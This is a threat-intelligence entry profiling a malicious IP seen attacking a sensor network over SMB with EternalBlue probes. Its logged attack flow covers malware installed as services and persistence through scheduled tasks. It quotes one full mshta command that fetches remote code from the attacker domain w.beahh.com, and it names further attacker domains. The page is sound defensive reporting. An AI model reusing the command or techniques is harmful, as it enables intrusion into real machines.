Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 188.161.188.234Malicious

IP Address: 188.161.188.234Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

CMD Cookie Hijacking Download and Execute Service Deletion Listening Scheduled Task Creation Service Start Driver Creation SMB Null Session Login System File Modification Service Creation Download File SMB Share Connect Scheduled Task Run Successful SMB Login Execute from Share Service Stop SMB Persistency - Logon Driver Configuration Access Suspicious Domain Access Share DNS Query Service Configuration IDS - A Network Trojan was detected

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl pp.abbny.com w.beahh.com

Basic Information

IP Address

188.161.188.234

Domain

-

ISP

-

Country

Palestine, State of

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-04-29

Last seen in Akamai Guardicore Segmentation

2023-12-04

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password

Successful SMB Login

C:\WkXMsbrs.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\wkxmsbrs.exe as a service named Btqn under service group None

Service Start Service Creation

wkxmsbrs.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service Btqn was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named aNrm under service group None

Service Start Service Creation

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 6 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named zDwi under service group None

Service Start Service Creation

The file C:\WINDOWS\system32\drivers\taskmgr.exe was downloaded and executed 2 times

Download and Execute

The file C:\WINDOWS\Temp\svchost.exe was downloaded and executed 5 times

Download and Execute

Service zDwi was stopped

Service Stop

Process c:\installed2.exe started listening on ports: 65533

Listening

The file C:\WINDOWS\Temp\_MEI13522\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI13522\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

Process c:\installed2.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User

Successful SMB Login

C:\sWLZLoxZ.exe was downloaded

Download File

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started \\server-backup\c$\swlzloxz.exe as a service named GlnH under service group None

Service Start Service Creation

swlzloxz.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\installed2.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net and pp.abbny.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 3 times

Service Start Service Creation

c:\windows\system32\services.exe installed system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Service Creation

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

c:\windows\system32\services.exe installed %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Creation

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

Service GlnH was stopped

Service Stop

The file c:\windows\system32\wmiex.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\Temp\_MEI26482\python27.dll was downloaded and loaded by c:\windows\temp\_mei26482\python27.dll

Download and Execute

The file C:\WINDOWS\Temp\_MEI26482\msvcr90.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

c:\windows\system32\services.exe installed system32\drivers\smb.sys as a service named Smb under service group None

Service Creation

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net

DNS Query Access Suspicious Domain

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

DNS Query Access Suspicious Domain

Associated Files

C:\WINDOWS\system32\drivers\taskmgr.exe

SHA256: 01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

49200 bytes

C:\WINDOWS\Temp\ttt.exe

SHA256: 2cb31dc05dffb735b1308a3a4a1729f4fb0f4980877dbf3af494a02280b1c3ff

73776 bytes

C:\aayGBpdX.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes